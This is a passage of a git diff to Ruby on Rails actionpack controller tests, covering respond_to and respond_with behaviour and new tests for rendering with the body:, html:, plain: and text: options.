+ assert_equal "tablet", @response.body
+ end
+
+ def test_variant_negotiation_inline_syntax
+ @request.variant = [:tablet, :phone]
+ get :variant_inline_syntax_without_block
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+ end
+
+ def test_variant_negotiation_block_syntax
+ @request.variant = [:tablet, :phone]
+ get :variant_plus_none_for_format
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+ end
+
+ def test_variant_negotiation_without_block
+ @request.variant = [:tablet, :phone]
+ get :variant_inline_syntax_without_block
+ assert_equal "text/html", @response.content_type
+ assert_equal "phone", @response.body
+ end
+end
diff --git a/actionpack/test/controller/mime_responds_test.rb b/actionpack/test/controller/mime/respond_with_test.rb
index a9c62899b5..416b3b81a5 100644
--- a/actionpack/test/controller/mime_responds_test.rb
+++ b/actionpack/test/controller/mime/respond_with_test.rb
@@ -1,529 +1,5 @@
require 'abstract_unit'
require 'controller/fake_models'
-require 'active_support/core_ext/hash/conversions'
-
-class StarStarMimeController < ActionController::Base
- layout nil
-
- def index
- render
- end
-end
-
-class RespondToController < ActionController::Base
- layout :set_layout
-
- def html_xml_or_rss
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.xml { render :text => "XML" }
- type.rss { render :text => "RSS" }
- type.all { render :text => "Nothing" }
- end
- end
-
- def js_or_html
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.js { render :text => "JS" }
- type.all { render :text => "Nothing" }
- end
- end
-
- def json_or_yaml
- respond_to do |type|
- type.json { render :text => "JSON" }
- type.yaml { render :text => "YAML" }
- end
- end
-
- def html_or_xml
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.xml { render :text => "XML" }
- type.all { render :text => "Nothing" }
- end
- end
-
- def json_xml_or_html
- respond_to do |type|
- type.json { render :text => 'JSON' }
- type.xml { render :xml => 'XML' }
- type.html { render :text => 'HTML' }
- end
- end
-
-
- def forced_xml
- request.format = :xml
-
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.xml { render :text => "XML" }
- end
- end
-
- def just_xml
- respond_to do |type|
- type.xml { render :text => "XML" }
- end
- end
-
- def using_defaults
- respond_to do |type|
- type.html
- type.xml
- end
- end
-
- def using_defaults_with_type_list
- respond_to(:html, :xml)
- end
-
- def using_defaults_with_all
- respond_to do |type|
- type.html
- type.all{ render text: "ALL" }
- end
- end
-
- def made_for_content_type
- respond_to do |type|
- type.rss { render :text => "RSS" }
- type.atom { render :text => "ATOM" }
- type.all { render :text => "Nothing" }
- end
- end
-
- def custom_type_handling
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.custom("application/crazy-xml") { render :text => "Crazy XML" }
- type.all { render :text => "Nothing" }
- end
- end
-
-
- def custom_constant_handling
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.mobile { render :text => "Mobile" }
- end
- end
-
- def custom_constant_handling_without_block
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.mobile
- end
- end
-
- def handle_any
- respond_to do |type|
- type.html { render :text => "HTML" }
- type.any(:js, :xml) { render :text => "Either JS or XML" }
- end
- end
-
- def handle_any_any
- respond_to do |type|
- type.html { render :text => 'HTML' }
- type.any { render :text => 'Whatever you ask for, I got it' }
- end
- end
-
- def all_types_with_layout
- respond_to do |type|
- type.html
- end
- end
-
- def iphone_with_html_response_type
- request.format = :iphone if request.env["HTTP_ACCEPT"] == "text/iphone"
-
- respond_to do |type|
- type.html { @type = "Firefox" }
- type.iphone { @type = "iPhone" }
- end
- end
-
- def iphone_with_html_response_type_without_layout
- request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
-
- respond_to do |type|
- type.html { @type = "Firefox"; render :action => "iphone_with_html_response_type" }
- type.iphone { @type = "iPhone" ; render :action => "iphone_with_html_response_type" }
- end
- end
-
- protected
- def set_layout
- case action_name
- when "all_types_with_layout", "iphone_with_html_response_type"
- "respond_to/layouts/standard"
- when "iphone_with_html_response_type_without_layout"
- "respond_to/layouts/missing"
- end
- end
-end
-
-class StarStarMimeControllerTest < ActionController::TestCase
- tests StarStarMimeController
-
- def test_javascript_with_format
- @request.accept = "text/javascript"
- get :index, :format => 'js'
- assert_match "function addition(a,b){ return a+b; }", @response.body
- end
-
- def test_javascript_with_no_format
- @request.accept = "text/javascript"
- get :index
- assert_match "function addition(a,b){ return a+b; }", @response.body
- end
-
- def test_javascript_with_no_format_only_star_star
- @request.accept = "*/*"
- get :index
- assert_match "function addition(a,b){ return a+b; }", @response.body
- end
-
-end
-
-class RespondToControllerTest < ActionController::TestCase
- tests RespondToController
-
- def setup
- super
- @request.host = "www.example.com"
- Mime::Type.register_alias("text/html", :iphone)
- Mime::Type.register("text/x-mobile", :mobile)
- end
-
- def teardown
- super
- Mime::Type.unregister(:iphone)
- Mime::Type.unregister(:mobile)
- end
-
- def test_html
- @request.accept = "text/html"
- get :js_or_html
- assert_equal 'HTML', @response.body
-
- get :html_or_xml
- assert_equal 'HTML', @response.body
-
- assert_raises(ActionController::UnknownFormat) do
- get :just_xml
- end
- end
-
- def test_all
- @request.accept = "*/*"
- get :js_or_html
- assert_equal 'HTML', @response.body # js is not part of all
-
- get :html_or_xml
- assert_equal 'HTML', @response.body
-
- get :just_xml
- assert_equal 'XML', @response.body
- end
-
- def test_xml
- @request.accept = "application/xml"
- get :html_xml_or_rss
- assert_equal 'XML', @response.body
- end
-
- def test_js_or_html
- @request.accept = "text/javascript, text/html"
- xhr :get, :js_or_html
- assert_equal 'JS', @response.body
-
- @request.accept = "text/javascript, text/html"
- xhr :get, :html_or_xml
- assert_equal 'HTML', @response.body
-
- @request.accept = "text/javascript, text/html"
-
- assert_raises(ActionController::UnknownFormat) do
- xhr :get, :just_xml
- end
- end
-
- def test_json_or_yaml_with_leading_star_star
- @request.accept = "*/*, application/json"
- get :json_xml_or_html
- assert_equal 'HTML', @response.body
-
- @request.accept = "*/* , application/json"
- get :json_xml_or_html
- assert_equal 'HTML', @response.body
- end
-
- def test_json_or_yaml
- xhr :get, :json_or_yaml
- assert_equal 'JSON', @response.body
-
- get :json_or_yaml, :format => 'json'
- assert_equal 'JSON', @response.body
-
- get :json_or_yaml, :format => 'yaml'
- assert_equal 'YAML', @response.body
-
- { 'YAML' => %w(text/yaml),
- 'JSON' => %w(application/json text/x-json)
- }.each do |body, content_types|
- content_types.each do |content_type|
- @request.accept = content_type
- get :json_or_yaml
- assert_equal body, @response.body
- end
- end
- end
-
- def test_js_or_anything
- @request.accept = "text/javascript, */*"
- xhr :get, :js_or_html
- assert_equal 'JS', @response.body
-
- xhr :get, :html_or_xml
- assert_equal 'HTML', @response.body
-
- xhr :get, :just_xml
- assert_equal 'XML', @response.body
- end
-
- def test_using_defaults
- @request.accept = "*/*"
- get :using_defaults
- assert_equal "text/html", @response.content_type
- assert_equal 'Hello world!', @response.body
-
- @request.accept = "application/xml"
- get :using_defaults
- assert_equal "application/xml", @response.content_type
- assert_equal "<p>Hello world!</p>\n", @response.body
- end
-
- def test_using_defaults_with_all
- @request.accept = "*/*"
- get :using_defaults_with_all
- assert_equal "HTML!", @response.body.strip
-
- @request.accept = "text/html"
- get :using_defaults_with_all
- assert_equal "HTML!", @response.body.strip
-
- @request.accept = "application/json"
- get :using_defaults_with_all
- assert_equal "ALL", @response.body
- end
-
- def test_using_defaults_with_type_list
- @request.accept = "*/*"
- get :using_defaults_with_type_list
- assert_equal "text/html", @response.content_type
- assert_equal 'Hello world!', @response.body
-
- @request.accept = "application/xml"
- get :using_defaults_with_type_list
- assert_equal "application/xml", @response.content_type
- assert_equal "<p>Hello world!</p>\n", @response.body
- end
-
- def test_with_atom_content_type
- @request.accept = ""
- @request.env["CONTENT_TYPE"] = "application/atom+xml"
- xhr :get, :made_for_content_type
- assert_equal "ATOM", @response.body
- end
-
- def test_with_rss_content_type
- @request.accept = ""
- @request.env["CONTENT_TYPE"] = "application/rss+xml"
- xhr :get, :made_for_content_type
- assert_equal "RSS", @response.body
- end
-
- def test_synonyms
- @request.accept = "application/javascript"
- get :js_or_html
- assert_equal 'JS', @response.body
-
- @request.accept = "application/x-xml"
- get :html_xml_or_rss
- assert_equal "XML", @response.body
- end
-
- def test_custom_types
- @request.accept = "application/crazy-xml"
- get :custom_type_handling
- assert_equal "application/crazy-xml", @response.content_type
- assert_equal 'Crazy XML', @response.body
-
- @request.accept = "text/html"
- get :custom_type_handling
- assert_equal "text/html", @response.content_type
- assert_equal 'HTML', @response.body
- end
-
- def test_xhtml_alias
- @request.accept = "application/xhtml+xml,application/xml"
- get :html_or_xml
- assert_equal 'HTML', @response.body
- end
-
- def test_firefox_simulation
- @request.accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
- get :html_or_xml
- assert_equal 'HTML', @response.body
- end
-
- def test_handle_any
- @request.accept = "*/*"
- get :handle_any
- assert_equal 'HTML', @response.body
-
- @request.accept = "text/javascript"
- get :handle_any
- assert_equal 'Either JS or XML', @response.body
-
- @request.accept = "text/xml"
- get :handle_any
- assert_equal 'Either JS or XML', @response.body
- end
-
- def test_handle_any_any
- @request.accept = "*/*"
- get :handle_any_any
- assert_equal 'HTML', @response.body
- end
-
- def test_handle_any_any_parameter_format
- get :handle_any_any, {:format=>'html'}
- assert_equal 'HTML', @response.body
- end
-
- def test_handle_any_any_explicit_html
- @request.accept = "text/html"
- get :handle_any_any
- assert_equal 'HTML', @response.body
- end
-
- def test_handle_any_any_javascript
- @request.accept = "text/javascript"
- get :handle_any_any
- assert_equal 'Whatever you ask for, I got it', @response.body
- end
-
- def test_handle_any_any_xml
- @request.accept = "text/xml"
- get :handle_any_any
- assert_equal 'Whatever you ask for, I got it', @response.body
- end
-
- def test_browser_check_with_any_any
- @request.accept = "application/json, application/xml"
- get :json_xml_or_html
- assert_equal 'JSON', @response.body
-
- @request.accept = "application/json, application/xml, */*"
- get :json_xml_or_html
- assert_equal 'HTML', @response.body
- end
-
- def test_html_type_with_layout
- @request.accept = "text/html"
- get :all_types_with_layout
- assert_equal '<html><div id="html">HTML for all_types_with_layout</div></html>', @response.body
- end
-
- def test_xhr
- xhr :get, :js_or_html
- assert_equal 'JS', @response.body
- end
-
- def test_custom_constant
- get :custom_constant_handling, :format => "mobile"
- assert_equal "text/x-mobile", @response.content_type
- assert_equal "Mobile", @response.body
- end
-
- def test_custom_constant_handling_without_block
- get :custom_constant_handling_without_block, :format => "mobile"
- assert_equal "text/x-mobile", @response.content_type
- assert_equal "Mobile", @response.body
- end
-
- def test_forced_format
- get :html_xml_or_rss
- assert_equal "HTML", @response.body
-
- get :html_xml_or_rss, :format => "html"
- assert_equal "HTML", @response.body
-
- get :html_xml_or_rss, :format => "xml"
- assert_equal "XML", @response.body
-
- get :html_xml_or_rss, :format => "rss"
- assert_equal "RSS", @response.body
- end
-
- def test_internally_forced_format
- get :forced_xml
- assert_equal "XML", @response.body
-
- get :forced_xml, :format => "html"
- assert_equal "XML", @response.body
- end
-
- def test_extension_synonyms
- get :html_xml_or_rss, :format => "xhtml"
- assert_equal "HTML", @response.body
- end
-
- def test_render_action_for_html
- @controller.instance_eval do
- def render(*args)
- @action = args.first[:action] unless args.empty?
- @action ||= action_name
-
- response.body = "#{@action} - #{formats}"
- end
- end
-
- get :using_defaults
- assert_equal "using_defaults - #{[:html].to_s}", @response.body
-
- get :using_defaults, :format => "xml"
- assert_equal "using_defaults - #{[:xml].to_s}", @response.body
- end
-
- def test_format_with_custom_response_type
- get :iphone_with_html_response_type
- assert_equal '<html><div id="html">Hello future from Firefox!</div></html>', @response.body
-
- get :iphone_with_html_response_type, :format => "iphone"
- assert_equal "text/html", @response.content_type
- assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
- end
-
- def test_format_with_custom_response_type_and_request_headers
- @request.accept = "text/iphone"
- get :iphone_with_html_response_type
- assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
- assert_equal "text/html", @response.content_type
- end
-
- def test_invalid_format
- assert_raises(ActionController::UnknownFormat) do
- get :using_defaults, :format => "invalidformat"
- end
- end
-end
class RespondWithController < ActionController::Base
respond_to :html, :json, :touch
@@ -589,7 +65,17 @@ class RespondWithController < ActionController::Base
respond_with(resource, :responder => responder)
end
+ def respond_with_additional_params
+ @params = RespondWithController.params
+ respond_with({:result => resource}, @params)
+ end
+
protected
+ def self.params
+ {
+ :foo => 'bar'
+ }
+ end
def resource
Customer.new("david", request.delete? ? nil : 13)
@@ -631,6 +117,20 @@ class RenderJsonRespondWithController < RespondWithController
end
end
+class CsvRespondWithController < ActionController::Base
+ respond_to :csv
+
+ class RespondWithCsv
+ def to_csv
+ "c,s,v"
+ end
+ end
+
+ def index
+ respond_with(RespondWithCsv.new)
+ end
+end
+
class EmptyRespondWithController < ActionController::Base
def index
respond_with(Customer.new("david", 13))
@@ -638,8 +138,6 @@ class EmptyRespondWithController < ActionController::Base
end
class RespondWithControllerTest < ActionController::TestCase
- tests RespondWithController
-
def setup
super
@request.host = "www.example.com"
@@ -655,6 +153,11 @@ class RespondWithControllerTest < ActionController::TestCase
Mime::Type.unregister(:mobile)
end
+ def test_respond_with_shouldnt_modify_original_hash
+ get :respond_with_additional_params
+ assert_equal RespondWithController.params, assigns(:params)
+ end
+
def test_using_resource
@request.accept = "application/xml"
get :using_resource
@@ -847,6 +350,7 @@ class RespondWithControllerTest < ActionController::TestCase
errors = { :name => :invalid }
Customer.any_instance.stubs(:errors).returns(errors)
put :using_resource
+
assert_equal "text/html", @response.content_type
assert_equal 200, @response.status
assert_equal "Edit world!\n", @response.body
@@ -1131,6 +635,23 @@ class RespondWithControllerTest < ActionController::TestCase
RespondWithController.responder = ActionController::Responder
end
+ def test_uses_renderer_if_an_api_behavior
+ ActionController::Renderers.add :csv do |obj, options|
+ send_data obj.to_csv, type: Mime::CSV
+ end
+ @controller = CsvRespondWithController.new
+ get :index, format: 'csv'
+ assert_equal Mime::CSV, @response.content_type
+ assert_equal "c,s,v", @response.body
+ end
+
+ def test_raises_missing_renderer_if_an_api_behavior_with_no_renderer
+ @controller = CsvRespondWithController.new
+ assert_raise ActionController::MissingRenderer do
+ get :index, format: 'csv'
+ end
+ end
+
def test_error_is_raised_if_no_respond_to_is_declared_and_respond_with_is_called
@controller = EmptyRespondWithController.new
@request.accept = "*/*"
@@ -1154,69 +675,6 @@ class RespondWithControllerTest < ActionController::TestCase
end
end
-class AbstractPostController < ActionController::Base
- self.view_paths = File.dirname(__FILE__) + "/../fixtures/post_test/"
-end
-
-# For testing layouts which are set automatically
-class PostController < AbstractPostController
- around_action :with_iphone
-
- def index
- respond_to(:html, :iphone, :js)
- end
-
-protected
-
- def with_iphone
- request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone"
- yield
- end
-end
-
-class SuperPostController < PostController
-end
-
-class MimeControllerLayoutsTest < ActionController::TestCase
- tests PostController
-
- def setup
- super
- @request.host = "www.example.com"
- Mime::Type.register_alias("text/html", :iphone)
- end
-
- def teardown
- super
- Mime::Type.unregister(:iphone)
- end
-
- def test_missing_layout_renders_properly
- get :index
- assert_equal '<html><div id="html">Hello Firefox</div></html>', @response.body
-
- @request.accept = "text/iphone"
- get :index
- assert_equal 'Hello iPhone', @response.body
- end
-
- def test_format_with_inherited_layouts
- @controller = SuperPostController.new
-
- get :index
- assert_equal '<html><div id="html">Super Firefox</div></html>', @response.body
-
- @request.accept = "text/iphone"
- get :index
- assert_equal '<html><div id="super_iphone">Super iPhone</div></html>', @response.body
- end
-
- def test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout
- get :index, :format => :js
- assert_equal "Hello Firefox", @response.body
- end
-end
-
class FlashResponder < ActionController::Responder
def initialize(controller, resources, options={})
super
diff --git a/actionpack/test/controller/new_base/render_body_test.rb b/actionpack/test/controller/new_base/render_body_test.rb
new file mode 100644
index 0000000000..fad848349a
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_body_test.rb
@@ -0,0 +1,170 @@
+require 'abstract_unit'
+
+module RenderBody
+ class MinimalController < ActionController::Metal
+ include AbstractController::Rendering
+ include ActionController::Rendering
+
+ def index
+ render body: "Hello World!"
+ end
+ end
+
+ class SimpleController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new]
+
+ def index
+ render body: "hello david"
+ end
+ end
+
+ class WithLayoutController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "layouts/application.erb" => "<%= yield %>, I'm here!",
+ "layouts/greetings.erb" => "<%= yield %>, I wish thee well.",
+ "layouts/ivar.erb" => "<%= yield %>, <%= @ivar %>"
+ )]
+
+ def index
+ render body: "hello david"
+ end
+
+ def custom_code
+ render body: "hello world", status: 404
+ end
+
+ def with_custom_code_as_string
+ render body: "hello world", status: "404 Not Found"
+ end
+
+ def with_nil
+ render body: nil
+ end
+
+ def with_nil_and_status
+ render body: nil, status: 403
+ end
+
+ def with_false
+ render body: false
+ end
+
+ def with_layout_true
+ render body: "hello world", layout: true
+ end
+
+ def with_layout_false
+ render body: "hello world", layout: false
+ end
+
+ def with_layout_nil
+ render body: "hello world", layout: nil
+ end
+
+ def with_custom_layout
+ render body: "hello world", layout: "greetings"
+ end
+
+ def with_custom_content_type
+ response.headers['Content-Type'] = 'application/json'
+ render body: '["troll","face"]'
+ end
+
+ def with_ivar_in_layout
+ @ivar = "hello world"
+ render body: "hello world", layout: "ivar"
+ end
+ end
+
+ class RenderBodyTest < Rack::TestCase
+ test "rendering body from a minimal controller" do
+ get "/render_body/minimal/index"
+ assert_body "Hello World!"
+ assert_status 200
+ end
+
+ test "rendering body from an action with default options renders the body with the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', action: 'index' }
+
+ get "/render_body/simple"
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering body from an action with default options renders the body without the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', action: 'index' }
+
+ get "/render_body/with_layout"
+
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering body, while also providing a custom status code" do
+ get "/render_body/with_layout/custom_code"
+
+ assert_body "hello world"
+ assert_status 404
+ end
+
+ test "rendering body with nil returns an empty body padded for Safari" do
+ get "/render_body/with_layout/with_nil"
+
+ assert_body " "
+ assert_status 200
+ end
+
+ test "Rendering body with nil and custom status code returns an empty body padded for Safari and the status" do
+ get "/render_body/with_layout/with_nil_and_status"
+
+ assert_body " "
+ assert_status 403
+ end
+
+ test "rendering body with false returns the string 'false'" do
+ get "/render_body/with_layout/with_false"
+
+ assert_body "false"
+ assert_status 200
+ end
+
+ test "rendering body with layout: true" do
+ get "/render_body/with_layout/with_layout_true"
+
+ assert_body "hello world, I'm here!"
+ assert_status 200
+ end
+
+ test "rendering body with layout: 'greetings'" do
+ get "/render_body/with_layout/with_custom_layout"
+
+ assert_body "hello world, I wish thee well."
+ assert_status 200
+ end
+
+ test "specified content type should not be removed" do
+ get "/render_body/with_layout/with_custom_content_type"
+
+ assert_equal %w{ troll face }, JSON.parse(response.body)
+ assert_equal 'application/json', response.headers['Content-Type']
+ end
+
+ test "rendering body with layout: false" do
+ get "/render_body/with_layout/with_layout_false"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+
+ test "rendering body with layout: nil" do
+ get "/render_body/with_layout/with_layout_nil"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_html_test.rb b/actionpack/test/controller/new_base/render_html_test.rb
new file mode 100644
index 0000000000..bfe0271df7
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_html_test.rb
@@ -0,0 +1,190 @@
+require 'abstract_unit'
+
+module RenderHtml
+ class MinimalController < ActionController::Metal
+ include AbstractController::Rendering
+ include ActionController::Rendering
+
+ def index
+ render html: "Hello World!"
+ end
+ end
+
+ class SimpleController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new]
+
+ def index
+ render html: "hello david"
+ end
+ end
+
+ class WithLayoutController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "layouts/application.html.erb" => "<%= yield %>, I'm here!",
+ "layouts/greetings.html.erb" => "<%= yield %>, I wish thee well.",
+ "layouts/ivar.html.erb" => "<%= yield %>, <%= @ivar %>"
+ )]
+
+ def index
+ render html: "hello david"
+ end
+
+ def custom_code
+ render html: "hello world", status: 404
+ end
+
+ def with_custom_code_as_string
+ render html: "hello world", status: "404 Not Found"
+ end
+
+ def with_nil
+ render html: nil
+ end
+
+ def with_nil_and_status
+ render html: nil, status: 403
+ end
+
+ def with_false
+ render html: false
+ end
+
+ def with_layout_true
+ render html: "hello world", layout: true
+ end
+
+ def with_layout_false
+ render html: "hello world", layout: false
+ end
+
+ def with_layout_nil
+ render html: "hello world", layout: nil
+ end
+
+ def with_custom_layout
+ render html: "hello world", layout: "greetings"
+ end
+
+ def with_ivar_in_layout
+ @ivar = "hello world"
+ render html: "hello world", layout: "ivar"
+ end
+
+ def with_unsafe_html_tag
+ render html: "<p>hello world</p>", layout: nil
+ end
+
+ def with_safe_html_tag
+ render html: "<p>hello world</p>".html_safe, layout: nil
+ end
+ end
+
+ class RenderHtmlTest < Rack::TestCase
+ test "rendering text from a minimal controller" do
+ get "/render_html/minimal/index"
+ assert_body "Hello World!"
+ assert_status 200
+ end
+
+ test "rendering text from an action with default options renders the text with the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', action: 'index' }
+
+ get "/render_html/simple"
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering text from an action with default options renders the text without the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', action: 'index' }
+
+ get "/render_html/with_layout"
+
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering text, while also providing a custom status code" do
+ get "/render_html/with_layout/custom_code"
+
+ assert_body "hello world"
+ assert_status 404
+ end
+
+ test "rendering text with nil returns an empty body padded for Safari" do
+ get "/render_html/with_layout/with_nil"
+
+ assert_body " "
+ assert_status 200
+ end
+
+ test "Rendering text with nil and custom status code returns an empty body padded for Safari and the status" do
+ get "/render_html/with_layout/with_nil_and_status"
+
+ assert_body " "
+ assert_status 403
+ end
+
+ test "rendering text with false returns the string 'false'" do
+ get "/render_html/with_layout/with_false"
+
+ assert_body "false"
+ assert_status 200
+ end
+
+ test "rendering text with layout: true" do
+ get "/render_html/with_layout/with_layout_true"
+
+ assert_body "hello world, I'm here!"
+ assert_status 200
+ end
+
+ test "rendering text with layout: 'greetings'" do
+ get "/render_html/with_layout/with_custom_layout"
+
+ assert_body "hello world, I wish thee well."
+ assert_status 200
+ end
+
+ test "rendering text with layout: false" do
+ get "/render_html/with_layout/with_layout_false"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+
+ test "rendering text with layout: nil" do
+ get "/render_html/with_layout/with_layout_nil"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+
+ test "rendering html should escape the string if it is not html safe" do
+ get "/render_html/with_layout/with_unsafe_html_tag"
+
+ assert_body "&lt;p&gt;hello world&lt;/p&gt;"
+ assert_status 200
+ end
+
+ test "rendering html should not escape the string if it is html safe" do
+ get "/render_html/with_layout/with_safe_html_tag"
+
+ assert_body "<p>hello world</p>"
+ assert_status 200
+ end
+
+ test "rendering from minimal controller returns response with text/html content type" do
+ get "/render_html/minimal/index"
+ assert_content_type "text/html"
+ end
+
+ test "rendering from normal controller returns response with text/html content type" do
+ get "/render_html/simple/index"
+ assert_content_type "text/html; charset=utf-8"
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_plain_test.rb b/actionpack/test/controller/new_base/render_plain_test.rb
new file mode 100644
index 0000000000..dba2e9f13e
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_plain_test.rb
@@ -0,0 +1,168 @@
+require 'abstract_unit'
+
+module RenderPlain
+ class MinimalController < ActionController::Metal
+ include AbstractController::Rendering
+ include ActionController::Rendering
+
+ def index
+ render plain: "Hello World!"
+ end
+ end
+
+ class SimpleController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new]
+
+ def index
+ render plain: "hello david"
+ end
+ end
+
+ class WithLayoutController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "layouts/application.text.erb" => "<%= yield %>, I'm here!",
+ "layouts/greetings.text.erb" => "<%= yield %>, I wish thee well.",
+ "layouts/ivar.text.erb" => "<%= yield %>, <%= @ivar %>"
+ )]
+
+ def index
+ render plain: "hello david"
+ end
+
+ def custom_code
+ render plain: "hello world", status: 404
+ end
+
+ def with_custom_code_as_string
+ render plain: "hello world", status: "404 Not Found"
+ end
+
+ def with_nil
+ render plain: nil
+ end
+
+ def with_nil_and_status
+ render plain: nil, status: 403
+ end
+
+ def with_false
+ render plain: false
+ end
+
+ def with_layout_true
+ render plain: "hello world", layout: true
+ end
+
+ def with_layout_false
+ render plain: "hello world", layout: false
+ end
+
+ def with_layout_nil
+ render plain: "hello world", layout: nil
+ end
+
+ def with_custom_layout
+ render plain: "hello world", layout: "greetings"
+ end
+
+ def with_ivar_in_layout
+ @ivar = "hello world"
+ render plain: "hello world", layout: "ivar"
+ end
+ end
+
+ class RenderPlainTest < Rack::TestCase
+ test "rendering text from a minimal controller" do
+ get "/render_plain/minimal/index"
+ assert_body "Hello World!"
+ assert_status 200
+ end
+
+ test "rendering text from an action with default options renders the text with the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', action: 'index' }
+
+ get "/render_plain/simple"
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering text from an action with default options renders the text without the layout" do
+ with_routing do |set|
+ set.draw { get ':controller', action: 'index' }
+
+ get "/render_plain/with_layout"
+
+ assert_body "hello david"
+ assert_status 200
+ end
+ end
+
+ test "rendering text, while also providing a custom status code" do
+ get "/render_plain/with_layout/custom_code"
+
+ assert_body "hello world"
+ assert_status 404
+ end
+
+ test "rendering text with nil returns an empty body padded for Safari" do
+ get "/render_plain/with_layout/with_nil"
+
+ assert_body " "
+ assert_status 200
+ end
+
+ test "Rendering text with nil and custom status code returns an empty body padded for Safari and the status" do
+ get "/render_plain/with_layout/with_nil_and_status"
+
+ assert_body " "
+ assert_status 403
+ end
+
+ test "rendering text with false returns the string 'false'" do
+ get "/render_plain/with_layout/with_false"
+
+ assert_body "false"
+ assert_status 200
+ end
+
+ test "rendering text with layout: true" do
+ get "/render_plain/with_layout/with_layout_true"
+
+ assert_body "hello world, I'm here!"
+ assert_status 200
+ end
+
+ test "rendering text with layout: 'greetings'" do
+ get "/render_plain/with_layout/with_custom_layout"
+
+ assert_body "hello world, I wish thee well."
+ assert_status 200
+ end
+
+ test "rendering text with layout: false" do
+ get "/render_plain/with_layout/with_layout_false"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+
+ test "rendering text with layout: nil" do
+ get "/render_plain/with_layout/with_layout_nil"
+
+ assert_body "hello world"
+ assert_status 200
+ end
+
+ test "rendering from minimal controller returns response with text/plain content type" do
+ get "/render_plain/minimal/index"
+ assert_content_type "text/plain"
+ end
+
+ test "rendering from normal controller returns response with text/plain content type" do
+ get "/render_plain/simple/index"
+ assert_content_type "text/plain; charset=utf-8"
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_streaming_test.rb b/actionpack/test/controller/new_base/render_streaming_test.rb
index f4bdd3e1d4..4c9126ca8c 100644
--- a/actionpack/test/controller/new_base/render_streaming_test.rb
+++ b/actionpack/test/controller/new_base/render_streaming_test.rb
@@ -4,7 +4,7 @@ module RenderStreaming
class BasicController < ActionController::Base
self.view_paths = [ActionView::FixtureResolver.new(
"render_streaming/basic/hello_world.html.erb" => "Hello world",
- "render_streaming/basic/boom.html.erb" => "<%= nil.invalid! %>",
+ "render_streaming/basic/boom.html.erb" => "<%= raise 'Ruby was here!' %>",
"layouts/application.html.erb" => "<%= yield %>, I'm here!",
"layouts/boom.html.erb" => "<body class=\"<%= nil.invalid! %>\"<%= yield %></body>"
)]
@@ -90,9 +90,9 @@ module RenderStreaming
begin
get "/render_streaming/basic/template_exception"
io.rewind
- assert_match "(undefined method `invalid!' for nil:NilClass)", io.read
+ assert_match "Ruby was here!", io.read
ensure
- ActionController::Base.logger = _old
+ ActionView::Base.logger = _old
end
end
diff --git a/actionpack/test/controller/new_base/render_template_test.rb b/actionpack/test/controller/new_base/render_template_test.rb
index 6b2ae2b2a9..b7a9cf92f2 100644
--- a/actionpack/test/controller/new_base/render_template_test.rb
+++ b/actionpack/test/controller/new_base/render_template_test.rb
@@ -14,7 +14,7 @@ module RenderTemplate
"test/with_json.html.erb" => "<%= render :template => 'test/with_json', :formats => [:json] %>",
"test/with_json.json.erb" => "<%= render :template => 'test/final', :formats => [:json] %>",
"test/final.json.erb" => "{ final: json }",
- "test/with_error.html.erb" => "<%= idontexist %>"
+ "test/with_error.html.erb" => "<%= raise 'i do not exist' %>"
)]
def index
@@ -132,7 +132,7 @@ module RenderTemplate
test "rendering a template with error properly excerts the code" do
get :with_error
assert_status 500
- assert_match "undefined local variable or method `idontexist", response.body
+ assert_match "i do not exist", response.body
end
end
diff --git a/actionpack/test/controller/new_base/render_text_test.rb b/actionpack/test/controller/new_base/render_text_test.rb
index d6c3926a4d..abb81d7e71 100644
--- a/actionpack/test/controller/new_base/render_text_test.rb
+++ b/actionpack/test/controller/new_base/render_text_test.rb
@@ -1,11 +1,20 @@
require 'abstract_unit'
module RenderText
+ class MinimalController < ActionController::Metal
+ include AbstractController::Rendering
+ include ActionController::Rendering
+
+ def index
+ render text: "Hello World!"
+ end
+ end
+
class SimpleController < ActionController::Base
self.view_paths = [ActionView::FixtureResolver.new]
def index
- render :text => "hello david"
+ render text: "hello david"
end
end
@@ -17,55 +26,61 @@ module RenderText
)]
def index
